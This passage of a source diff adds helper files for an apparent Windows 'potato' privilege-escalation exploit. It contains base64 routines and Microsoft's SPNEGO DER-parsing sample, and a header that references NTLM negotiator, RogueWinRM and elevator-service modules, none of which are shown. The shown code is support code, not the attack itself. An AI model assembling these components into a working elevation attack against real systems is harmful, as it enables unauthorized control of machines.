encoded_data = (char*)calloc(local_output_len, sizeof(char));
|
||||
if (!encoded_data)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!CryptBinaryToStringA
|
||||
(
|
||||
data,
|
||||
input_length,
|
||||
CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF,
|
||||
encoded_data,
|
||||
&local_output_len
|
||||
))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (local_output_len <= 65535)
|
||||
{
|
||||
*output_length = (unsigned short)local_output_len;
|
||||
}
|
||||
else
|
||||
return NULL;
|
||||
|
||||
return encoded_data;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Builds a decoding table in heap. Then takes base 64 encoded data data,
|
||||
allocate a buffer in heap of size 3/4 of input length to handle the result,
|
||||
base64 decode it and returns a pointer to the result buffer. Then, free the
|
||||
base64 decoding table.
|
||||
|
||||
|
||||
@param const unsigned char* data The data to be decoded.
|
||||
@param unsigned short input_length Length of encoded data (length of previous arg)
|
||||
@param unsigned short input_length An address to handle the length of b64 encoded result data.
|
||||
Will be 3/4 of input_length
|
||||
|
||||
@return char* A pointer to the heap buffer containing the decoded result
|
||||
*/
|
||||
unsigned char* base64_decode(const char* data,
|
||||
unsigned short input_length,
|
||||
unsigned short* output_length)
|
||||
{
|
||||
unsigned char* decoded_data = NULL;
|
||||
DWORD local_output_len = 0;
|
||||
|
||||
if (!CryptStringToBinaryA
|
||||
(
|
||||
data,
|
||||
0,
|
||||
CRYPT_STRING_BASE64,
|
||||
NULL,
|
||||
&local_output_len,
|
||||
NULL,
|
||||
NULL
|
||||
))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
decoded_data = (unsigned char*)calloc(local_output_len, sizeof(char));
|
||||
if (!decoded_data)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!CryptStringToBinaryA
|
||||
(
|
||||
data,
|
||||
0,
|
||||
CRYPT_STRING_BASE64,
|
||||
decoded_data,
|
||||
&local_output_len,
|
||||
NULL,
|
||||
NULL
|
||||
))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (local_output_len <= 65535)
|
||||
{
|
||||
*output_length = (unsigned short)local_output_len;
|
||||
}
|
||||
else
|
||||
return NULL;
|
||||
|
||||
return decoded_data;
|
||||
}
|
8
external/source/exploits/drunkpotato/Common_Src_Files/base64.h
vendored
Normal file
8
external/source/exploits/drunkpotato/Common_Src_Files/base64.h
vendored
Normal file
@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include <wincrypt.h>
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
char* base64_encode(const unsigned char*, unsigned short, unsigned short*);
|
||||
unsigned char* base64_decode(const char*, unsigned short, unsigned short*);
|
||||
|
3
external/source/exploits/drunkpotato/Common_Src_Files/pch.c
vendored
Normal file
3
external/source/exploits/drunkpotato/Common_Src_Files/pch.c
vendored
Normal file
@ -0,0 +1,3 @@
|
||||
// pch.cpp: source file corresponding to precompiled header
|
||||
|
||||
#include "pch.h"
|
49
external/source/exploits/drunkpotato/Common_Src_Files/pch.h
vendored
Normal file
49
external/source/exploits/drunkpotato/Common_Src_Files/pch.h
vendored
Normal file
@ -0,0 +1,49 @@
|
||||
// pch.h : precompiled header
|
||||
|
||||
#ifndef PCH_H
|
||||
#define PCH_H
|
||||
|
||||
// add precompiled headers here
|
||||
#ifndef WIN32_LEAN_AND_MEAN
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#endif
|
||||
|
||||
#ifndef SECURITY_WIN32
|
||||
#define SECURITY_WIN32
|
||||
#endif
|
||||
|
||||
#include <Unknwnbase.h>
|
||||
#include <Sspi.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
// Uncomment this line to include debug output
|
||||
//#define DEBUGTRACE
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
static void real_dprintf(char* format, ...)
|
||||
{
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args, format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer) - 3, format, args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
#else
|
||||
#define dprintf(...)
|
||||
#endif
|
||||
|
||||
|
||||
//#include "ReflectiveLoader.h"
|
||||
#include "LocalNegotiator.h"
|
||||
#include "Services/service.h"
|
||||
#include "Services/elevatorService.h"
|
||||
#include "base64.h"
|
||||
#include "spnegotokenhandler/spnego.h"
|
||||
#include "spnegotokenhandler/derparse.h"
|
||||
#include "spnegotokenhandler/spnegoparse.h"
|
||||
#include "RogueWinRM.h"
|
||||
|
||||
#endif //PCH_H
|
723
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/derparse.c
vendored
Normal file
723
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/derparse.c
vendored
Normal file
@ -0,0 +1,723 @@
|
||||
// Copyright (C) 2002 Microsoft Corporation
|
||||
// All rights reserved.
|
||||
//
|
||||
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
|
||||
// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
// OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
|
||||
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
|
||||
//
|
||||
// Date - 10/08/2002
|
||||
// Author - Sanj Surati
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////
|
||||
//
|
||||
// DERPARSE.C
|
||||
//
|
||||
// SPNEGO Token Handler Source File
|
||||
//
|
||||
// Contains implementation of ASN.1 DER read/write functions
|
||||
// as defined in DERPARSE.H.
|
||||
//
|
||||
/////////////////////////////////////////////////////////////
|
||||
|
||||
/*#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <memory.h>
|
||||
#include "spnego.h"
|
||||
#include "derparse.h"*/
|
||||
|
||||
#include "..\pch.h"
|
||||
|
||||
#define __LITTLE_ENDIAN__ 1
|
||||
|
||||
//
|
||||
// The GSS Mechanism OID enumeration values (SPNEGO_MECH_OID) control which offset in
|
||||
// the array below, that a mechanism can be found.
|
||||
//
|
||||
MECH_OID g_stcMechOIDList[] =
|
||||
{
|
||||
{"\x06\x09\x2a\x86\x48\x82\xf7\x12\x01\x02\x02", 11, 9,
|
||||
spnego_mech_oid_Kerberos_V5_Legacy }, // 1.2.840.48018.1.2.2
|
||||
{"\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02", 11, 9,
|
||||
spnego_mech_oid_Kerberos_V5 }, // 1.2.840.113554.1.2.2
|
||||
{"\x06\x06\x2b\x06\x01\x05\x05\x02", 8, 6,
|
||||
spnego_mech_oid_Spnego }, // 1.3.6.1.5.5.2
|
||||
{"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a", 12, 10,
|
||||
spnego_mech_oid_NTLMSSP }, // 1.3.6.1.4.1.311.2.2.10
|
||||
{"", 0, 0, spnego_mech_oid_NotUsed } // Placeholder
|
||||
};
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerGetLength
|
||||
//
|
||||
// Parameters:
|
||||
// [in] pbLengthData - DER Length Data
|
||||
// [in] nBoundaryLength - Length that value must not exceed.
|
||||
// [out] pnLength - Filled out with length value
|
||||
// [out] pnNumLengthBytes - Filled out with number of bytes
|
||||
// consumed by DER length.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// Interprets the data at pbLengthData as a DER length. The length must
|
||||
// fit within the bounds of nBoundary length. We do not currently
|
||||
// process lengths that take more than 4 bytes.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
static int ASNDerGetLength(unsigned char* pbLengthData, unsigned short nBoundaryLength, unsigned short* pnLength,
|
||||
unsigned short* pnNumLengthBytes)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_LENGTH;
|
||||
unsigned short nNumLengthBytes = 0;
|
||||
|
||||
// First check if the extended length bit is set
|
||||
|
||||
if (*pbLengthData & LEN_XTND)
|
||||
{
|
||||
// Lower 7 bits contain the number of trailing bytes that describe the length
|
||||
nNumLengthBytes = *pbLengthData & LEN_MASK;
|
||||
|
||||
// Check that the number of bytes we are about to read is within our boundary
|
||||
// constraints
|
||||
|
||||
if (nNumLengthBytes <= nBoundaryLength - 1)
|
||||
{
|
||||
// For now, our handler won't deal with lengths greater than 4 bytes
|
||||
if (nNumLengthBytes >= 1 && nNumLengthBytes <= 4)
|
||||
{
|
||||
// 0 out the initial length
|
||||
*pnLength = 0L;
|
||||
|
||||
// Bump by 1 byte
|
||||
pbLengthData++;
|
||||
#ifdef __LITTLE_ENDIAN__
|
||||
|
||||
// There may be a cleaner way to do this, but for now, this seems to be
|
||||
// an easy way to do the transformation
|
||||
switch (nNumLengthBytes)
|
||||
{
|
||||
case 1:
|
||||
{
|
||||
*(((unsigned char*)pnLength)) = *pbLengthData;
|
||||
break;
|
||||
}
|
||||
|
||||
case 2:
|
||||
{
|
||||
*(((unsigned char*)pnLength)) = *(pbLengthData + 1);
|
||||
*(((unsigned char*)pnLength) + 1) = *(pbLengthData);
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case 3:
|
||||
{
|
||||
*(((unsigned char*)pnLength)) = *(pbLengthData + 2);
|
||||
*(((unsigned char*)pnLength) + 2) = *(pbLengthData + 1);
|
||||
*(((unsigned char*)pnLength) + 3) = *(pbLengthData);
|
||||
break;
|
||||
}
|
||||
|
||||
case 4:
|
||||
{
|
||||
*(((unsigned char*)pnLength)) = *(pbLengthData + 3);
|
||||
*(((unsigned char*)pnLength) + 1) = *(pbLengthData + 2);
|
||||
*(((unsigned char*)pnLength) + 2) = *(pbLengthData + 1);
|
||||
*(((unsigned char*)pnLength) + 3) = *(pbLengthData);
|
||||
break;
|
||||
}
|
||||
|
||||
} // SWITCH ( nNumLengthBytes )
|
||||
|
||||
#else
|
||||
// We are Big-Endian, so the length can be copied in from the source
|
||||
// as is. Ensure that we adjust for the number of bytes we actually
|
||||
// copy.
|
||||
|
||||
memcpy(((unsigned char*)pnLength) + (4 - nNumLengthBytes),
|
||||
pbLengthData, nNumLengthBytes);
|
||||
#endif
|
||||
|
||||
// Account for the initial length byte
|
||||
* pnNumLengthBytes = nNumLengthBytes + 1;
|
||||
nReturn = SPNEGO_E_SUCCESS;
|
||||
|
||||
} // IF Valid Length
|
||||
|
||||
} // IF num bytes to read is within the boundary length
|
||||
|
||||
} // IF xtended length
|
||||
else
|
||||
{
|
||||
// Extended bit is not set, so the length is in the value and the one
|
||||
// byte describes the length
|
||||
*pnLength = *pbLengthData & LEN_MASK;
|
||||
*pnNumLengthBytes = 1;
|
||||
nReturn = SPNEGO_E_SUCCESS;
|
||||
}
|
||||
|
||||
return nReturn;
|
||||
}
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerCheckToken
|
||||
//
|
||||
// Parameters:
|
||||
// [in] pbTokenData - Token Data
|
||||
// [in] nToken - Token identifier to check for
|
||||
// [in] nLengthWithToken - Expected token length (with data)
|
||||
// [in] nBoundaryLength - Length that value must not exceed.
|
||||
// [out] pnLength - Filled out with data length
|
||||
// [out] pnTokenLength - Filled out with number of bytes
|
||||
// consumed by token identifier and length.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// Checks the data pointed to by pbTokenData for the specified token
|
||||
// identifier and the length that immediately follows. If
|
||||
// nLengthWithToken is > 0, the calculated length must match. The
|
||||
// length must also not exceed the specified boundary length .
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
int ASNDerCheckToken(unsigned char* pbTokenData, unsigned char nToken,
|
||||
unsigned short nLengthWithToken, unsigned short nBoundaryLength,
|
||||
unsigned short* pnLength, unsigned short* pnTokenLength)
|
||||
{
|
||||
|
||||
int nReturn = SPNEGO_E_INVALID_LENGTH;
|
||||
unsigned short nNumLengthBytes = 0L;
|
||||
|
||||
// Make sure that we've at least got 2 bytes of room to work with
|
||||
|
||||
if (nBoundaryLength >= 2)
|
||||
{
|
||||
// The first byte of the token data MUST match the specified token
|
||||
if (*pbTokenData == nToken)
|
||||
{
|
||||
// Next byte indicates the length
|
||||
pbTokenData++;
|
||||
|
||||
// Get the length described by the token
|
||||
if ((nReturn = ASNDerGetLength(pbTokenData, nBoundaryLength, pnLength,
|
||||
&nNumLengthBytes)) == SPNEGO_E_SUCCESS)
|
||||
{
|
||||
// Verify that the length is LESS THAN the boundary length
|
||||
// (this should prevent us walking out of our buffer)
|
||||
if ((nBoundaryLength - (nNumLengthBytes + 1) < *pnLength))
|
||||
{
|
||||
nReturn = SPNEGO_E_INVALID_LENGTH;
|
||||
}
|
||||
|
||||
// If we were passed a length to check, do so now
|
||||
if (nLengthWithToken > 0L)
|
||||
{
|
||||
// Check that the expected length matches
|
||||
if ((nLengthWithToken - (nNumLengthBytes + 1)) != *pnLength)
|
||||
{
|
||||
nReturn = SPNEGO_E_INVALID_LENGTH;
|
||||
}
|
||||
} // IF need to validate length
|
||||
|
||||
if (SPNEGO_E_SUCCESS == nReturn)
|
||||
{
|
||||
*pnTokenLength = nNumLengthBytes + 1;
|
||||
}
|
||||
|
||||
} // IF ASNDerGetLength
|
||||
|
||||
} // IF token matches
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_TOKEN_NOT_FOUND;
|
||||
}
|
||||
|
||||
} // IF Boundary Length is at least 2 bytes
|
||||
|
||||
return nReturn;
|
||||
}
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerCheckOID
|
||||
//
|
||||
// Parameters:
|
||||
// [in] pbTokenData - Token Data
|
||||
// [in] nMechOID - OID we are looking for
|
||||
// [in] nBoundaryLength - Length that value must not exceed.
|
||||
// [out] pnTokenLength - Filled out with number of bytes
|
||||
// consumed by token and data.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// Checks the data pointed to by pbTokenData for the specified OID.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
int ASNDerCheckOID(unsigned char* pbTokenData, SPNEGO_MECH_OID nMechOID, unsigned short nBoundaryLength,
|
||||
unsigned short* pnTokenLength)
|
||||
{
|
||||
int nReturn = 0L;
|
||||
unsigned short nLength = 0L;
|
||||
|
||||
// Verify that we have an OID token
|
||||
if ((nReturn = ASNDerCheckToken(pbTokenData, OID, 0L, nBoundaryLength,
|
||||
&nLength, pnTokenLength)) == SPNEGO_E_SUCCESS)
|
||||
{
|
||||
// Add the data length to the Token Length
|
||||
*pnTokenLength += nLength;
|
||||
|
||||
// Token Lengths plus the actual length must match the length in our OID list element.
|
||||
// If it doesn't, we're done
|
||||
if (*pnTokenLength == g_stcMechOIDList[nMechOID].iLen)
|
||||
{
|
||||
// Memcompare the token and the expected field
|
||||
if (memcmp(pbTokenData, g_stcMechOIDList[nMechOID].ucOid, *pnTokenLength) != 0)
|
||||
{
|
||||
nReturn = SPNEGO_E_UNEXPECTED_OID;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_UNEXPECTED_OID;
|
||||
}
|
||||
|
||||
} // IF OID Token CHecks
|
||||
|
||||
return nReturn;
|
||||
}
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerCalcNumLengthBytes
|
||||
//
|
||||
// Parameters:
|
||||
// [in] nLength - Length to calculate length bytes for.
|
||||
//
|
||||
// Returns:
|
||||
// int Number of bytes necessary to represent length
|
||||
//
|
||||
// Comments :
|
||||
// Helper function to calculate the number of length bytes necessary to
|
||||
// represent a length value. For our purposes, a 32-bit value should be
|
||||
// enough to describea length.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
static unsigned short ASNDerCalcNumLengthBytes(unsigned short nLength)
|
||||
{
|
||||
if (nLength <= 0x7F)
|
||||
{
|
||||
// A single byte will be sufficient for describing this length.
|
||||
// The byte will simply contain the length
|
||||
return 1;
|
||||
}
|
||||
else if (nLength <= 0xFF)
|
||||
{
|
||||
// Two bytes are necessary, one to say how many following bytes
|
||||
// describe the length, and one to give the length
|
||||
return 2;
|
||||
}
|
||||
else if (nLength <= 0xFFFF)
|
||||
{
|
||||
// Three bytes are necessary, one to say how many following bytes
|
||||
// describe the length, and two to give the length
|
||||
return 3;
|
||||
}
|
||||
else if (nLength <= 0xFFFFFF)
|
||||
{
|
||||
// Four bytes are necessary, one to say how many following bytes
|
||||
// describe the length, and three to give the length
|
||||
return 4;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Five bytes are necessary, one to say how many following bytes
|
||||
// describe the length, and four to give the length
|
||||
return 5;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerCalcTokenLength
|
||||
//
|
||||
// Parameters:
|
||||
// [in] nLength - Length to calculate length bytes for.
|
||||
// [in] nDataLength - Actual Data length value.
|
||||
//
|
||||
// Returns:
|
||||
// long Number of bytes necessary to represent a token, length and data
|
||||
//
|
||||
// Comments :
|
||||
// Helper function to calculate a token and value size, based on a
|
||||
// supplied length value, and any binary data that will need to be
|
||||
// written out.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
unsigned short ASNDerCalcTokenLength(unsigned short nLength, unsigned short nDataLength)
|
||||
{
|
||||
// Add a byte to the length size to account for a single byte to
|
||||
// hold the token type.
|
||||
unsigned short nTotalLength = ASNDerCalcNumLengthBytes(nLength) + 1;
|
||||
|
||||
return nTotalLength + nDataLength;
|
||||
}
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerCalcElementLength
|
||||
//
|
||||
// Parameters:
|
||||
// [in] nDataLength - Length of data.
|
||||
// [out] pnInternalLength - Filled out with length of element
|
||||
// without sequence info.
|
||||
//
|
||||
// Returns:
|
||||
// long Number of bytes necessary to represent an element
|
||||
//
|
||||
// Comments :
|
||||
// Helper function to calculate an element length. An element consists
|
||||
// of a sequence token, a type token and then the data.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
unsigned short ASNDerCalcElementLength(unsigned short nDataLength, unsigned short* pnInternalLength)
|
||||
{
|
||||
// First the type token and the actual data
|
||||
unsigned short nTotalLength = ASNDerCalcTokenLength(nDataLength, nDataLength);
|
||||
|
||||
// Internal length is the length without the element sequence token
|
||||
if (NULL != pnInternalLength)
|
||||
{
|
||||
*pnInternalLength = nTotalLength;
|
||||
}
|
||||
|
||||
// Next add in the element's sequence token (remember that its
|
||||
// length is the total length of the type token and data)
|
||||
nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L);
|
||||
|
||||
return nTotalLength;
|
||||
}
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerCalcMechListLength
|
||||
//
|
||||
// Parameters:
|
||||
// [in] mechoid - Mech OID to put in list.
|
||||
// [out] pnInternalLength - Filled out with length of element
|
||||
// without the primary sequence token.
|
||||
//
|
||||
// Returns:
|
||||
// long Number of bytes necessary to represent a mechList
|
||||
//
|
||||
// Comments :
|
||||
// Helper function to calculate a MechList length. A mechlist consists
|
||||
// of a NegTokenInit sequence token, a sequence token for the MechList
|
||||
// and finally a list of OIDs. In our case, we only really have one
|
||||
// OID.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
unsigned short ASNDerCalcMechListLength(SPNEGO_MECH_OID mechoid, unsigned short* pnInternalLength)
|
||||
{
|
||||
// First the OID
|
||||
unsigned short nTotalLength = g_stcMechOIDList[mechoid].iLen;
|
||||
|
||||
// Next add in a sequence token
|
||||
nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L);
|
||||
|
||||
// Internal length is the length without the element sequence token
|
||||
if (NULL != pnInternalLength)
|
||||
{
|
||||
*pnInternalLength = nTotalLength;
|
||||
}
|
||||
|
||||
// Finally add in the element's sequence token
|
||||
nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L);
|
||||
|
||||
return nTotalLength;
|
||||
}
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerWriteLength
|
||||
//
|
||||
// Parameters:
|
||||
// [out] pbData - Buffer to write into.
|
||||
// [in] nLength - Length to write out.
|
||||
//
|
||||
// Returns:
|
||||
// int Number of bytes written out
|
||||
//
|
||||
// Comments :
|
||||
// Helper function to write out a length value following DER rules .
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
static unsigned short ASNDerWriteLength(unsigned char* pbData, unsigned short nLength)
|
||||
{
|
||||
unsigned short nNumBytesRequired = ASNDerCalcNumLengthBytes(nLength);
|
||||
unsigned short nNumLengthBytes = nNumBytesRequired - 1;
|
||||
|
||||
if (nNumBytesRequired > 1)
|
||||
{
|
||||
// Write out the number of bytes following which will be used
|
||||
*pbData = (unsigned char)(LEN_XTND | nNumLengthBytes);
|
||||
|
||||
// Point to where we'll actually write the length
|
||||
pbData++;
|
||||
|
||||
#ifdef __LITTLE_ENDIAN__
|
||||
|
||||
// There may be a cleaner way to do this, but for now, this seems to be
|
||||
// an easy way to do the transformation
|
||||
switch (nNumLengthBytes)
|
||||
{
|
||||
case 1:
|
||||
{
|
||||
// Cast the length to a single byte, since we know that it
|
||||
// is 0x7F or less (or we wouldn't only need a single byte).
|
||||
|
||||
*pbData = (unsigned char)nLength;
|
||||
break;
|
||||
}
|
||||
|
||||
case 2:
|
||||
{
|
||||
*pbData = *(((unsigned char*)&nLength) + 1);
|
||||
*(pbData + 1) = *(((unsigned char*)&nLength));
|
||||
break;
|
||||
}
|
||||
|
||||
case 3:
|
||||
{
|
||||
*pbData = *(((unsigned char*)&nLength) + 3);
|
||||
*(pbData + 1) = *(((unsigned char*)&nLength) + 2);
|
||||
*(pbData + 2) = *(((unsigned char*)&nLength));
|
||||
break;
|
||||
}
|
||||
|
||||
case 4:
|
||||
{
|
||||
*pbData = *(((unsigned char*)&nLength) + 3);
|
||||
*(pbData + 1) = *(((unsigned char*)&nLength) + 2);
|
||||
*(pbData + 2) = *(((unsigned char*)&nLength) + 1);
|
||||
*(pbData + 3) = *(((unsigned char*)&nLength));
|
||||
break;
|
||||
}
|
||||
|
||||
} // SWITCH ( nNumLengthBytes )
|
||||
|
||||
#else
|
||||
// We are Big-Endian, so the length can be copied in from the source
|
||||
// as is. Ensure that we adjust for the number of bytes we actually
|
||||
// copy.
|
||||
|
||||
memcpy(pbData,
|
||||
((unsigned char*)&nLength) + (4 - nNumLengthBytes), nNumLengthBytes);
|
||||
#endif
|
||||
|
||||
} // IF > 1 byte for length
|
||||
else
|
||||
{
|
||||
// Cast the length to a single byte, since we know that it
|
||||
// is 0x7F or less (or we wouldn't only need a single byte).
|
||||
|
||||
*pbData = (unsigned char)nLength;
|
||||
}
|
||||
|
||||
return nNumBytesRequired;
|
||||
}
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerWriteToken
|
||||
//
|
||||
// Parameters:
|
||||
// [out] pbData - Buffer to write into.
|
||||
// [in] ucType - Token Type
|
||||
// [in] pbTokenValue - Actual Value
|
||||
// [in] nLength - Length of Data.
|
||||
//
|
||||
// Returns:
|
||||
// int Number of bytes written out
|
||||
//
|
||||
// Comments :
|
||||
// Helper function to write out a token and any associated data. If
|
||||
// pbTokenValue is non-NULL, then it is written out in addition to the
|
||||
// token identifier and the length bytes.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
unsigned short ASNDerWriteToken(unsigned char* pbData, unsigned char ucType,
|
||||
unsigned char* pbTokenValue, unsigned short nLength)
|
||||
{
|
||||
unsigned short nTotalBytesWrittenOut = 0L;
|
||||
unsigned short nNumLengthBytesWritten = 0L;
|
||||
|
||||
// Write out the type
|
||||
*pbData = ucType;
|
||||
|
||||
// Wrote 1 byte, and move data pointer
|
||||
nTotalBytesWrittenOut++;
|
||||
pbData++;
|
||||
|
||||
// Now write out the length and adjust the number of bytes written out
|
||||
nNumLengthBytesWritten = ASNDerWriteLength(pbData, nLength);
|
||||
|
||||
nTotalBytesWrittenOut += nNumLengthBytesWritten;
|
||||
pbData += nNumLengthBytesWritten;
|
||||
|
||||
// Write out the token value if we got one. The assumption is that the
|
||||
// nLength value indicates how many bytes are in pbTokenValue.
|
||||
|
||||
if (NULL != pbTokenValue)
|
||||
{
|
||||
memcpy(pbData, pbTokenValue, nLength);
|
||||
nTotalBytesWrittenOut += nLength;
|
||||
}
|
||||
|
||||
return nTotalBytesWrittenOut;
|
||||
}
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerWriteOID
|
||||
//
|
||||
// Parameters:
|
||||
// [out] pbData - Buffer to write into.
|
||||
// [in] eMechOID - OID to write out.
|
||||
//
|
||||
// Returns:
|
||||
// int Number of bytes written out
|
||||
//
|
||||
// Comments :
|
||||
// Helper function to write out an OID. For these we have the raw bytes
|
||||
// listed in a global structure. The caller simply indicates which OID
|
||||
// should be written and we will splat out the data.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
int ASNDerWriteOID(unsigned char* pbData, SPNEGO_MECH_OID eMechOID)
|
||||
{
|
||||
memcpy(pbData, g_stcMechOIDList[eMechOID].ucOid, g_stcMechOIDList[eMechOID].iLen);
|
||||
|
||||
return g_stcMechOIDList[eMechOID].iLen;
|
||||
}
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerWriteMechList
|
||||
//
|
||||
// Parameters:
|
||||
// [out] pbData - Buffer to write into.
|
||||
// [in] eMechOID - OID to put in MechList.
|
||||
//
|
||||
// Returns:
|
||||
// int Number of bytes written out
|
||||
//
|
||||
// Comments :
|
||||
// Helper function to write out a MechList. A MechList consists of the
|
||||
// Init Token Sequence, a sequence token and then the list of OIDs. In
|
||||
// our case the OID is from a global array of known OIDs.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
unsigned short ASNDerWriteMechList(unsigned char* pbData, SPNEGO_MECH_OID mechoid)
|
||||
{
|
||||
// First get the length
|
||||
unsigned short nInternalLength = 0L;
|
||||
unsigned short nMechListLength = ASNDerCalcMechListLength(mechoid, &nInternalLength);
|
||||
unsigned short nTempLength = 0L;
|
||||
|
||||
nTempLength = ASNDerWriteToken(pbData, SPNEGO_NEGINIT_ELEMENT_MECHTYPES,
|
||||
NULL, nInternalLength);
|
||||
|
||||
// Adjust the data pointer
|
||||
pbData += nTempLength;
|
||||
|
||||
// Now write the Sequence token and the OID (the OID is a BLOB in the global
|
||||
// structure.
|
||||
|
||||
nTempLength = ASNDerWriteToken(pbData, SPNEGO_CONSTRUCTED_SEQUENCE,
|
||||
g_stcMechOIDList[mechoid].ucOid,
|
||||
g_stcMechOIDList[mechoid].iLen);
|
||||
|
||||
return nMechListLength;
|
||||
}
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// ASNDerWriteElement
|
||||
//
|
||||
// Parameters:
|
||||
// [out] pbData - Buffer to write into.
|
||||
// [in] ucElementSequence - Sequence Token
|
||||
// [in] ucType - Token Type
|
||||
// [in] pbTokenValue - Actual Value
|
||||
// [in] nLength - Length of Data.
|
||||
//
|
||||
// Returns:
|
||||
// int Number of bytes written out
|
||||
//
|
||||
// Comments :
|
||||
// Helper function to write out a SPNEGO Token element. An element
|
||||
// consists of a sequence token, a type token and the associated data.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
unsigned short ASNDerWriteElement(unsigned char* pbData, unsigned char ucElementSequence,
|
||||
unsigned char ucType, unsigned char* pbTokenValue, unsigned short nLength)
|
||||
{
|
||||
// First get the length
|
||||
unsigned short nInternalLength = 0L;
|
||||
unsigned short nElementLength = ASNDerCalcElementLength(nLength, &nInternalLength);
|
||||
unsigned short nTempLength = 0L;
|
||||
|
||||
// Write out the sequence byte and the length of the type and data
|
||||
nTempLength = ASNDerWriteToken(pbData, ucElementSequence, NULL, nInternalLength);
|
||||
|
||||
// Adjust the data pointer
|
||||
pbData += nTempLength;
|
||||
|
||||
// Now write the type and the data.
|
||||
nTempLength = ASNDerWriteToken(pbData, ucType, pbTokenValue, nLength);
|
||||
|
||||
return nElementLength;
|
||||
}
|
194
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/derparse.h
vendored
Normal file
194
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/derparse.h
vendored
Normal file
@ -0,0 +1,194 @@
|
||||
// Copyright (C) 2002 Microsoft Corporation
|
||||
// All rights reserved.
|
||||
//
|
||||
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
|
||||
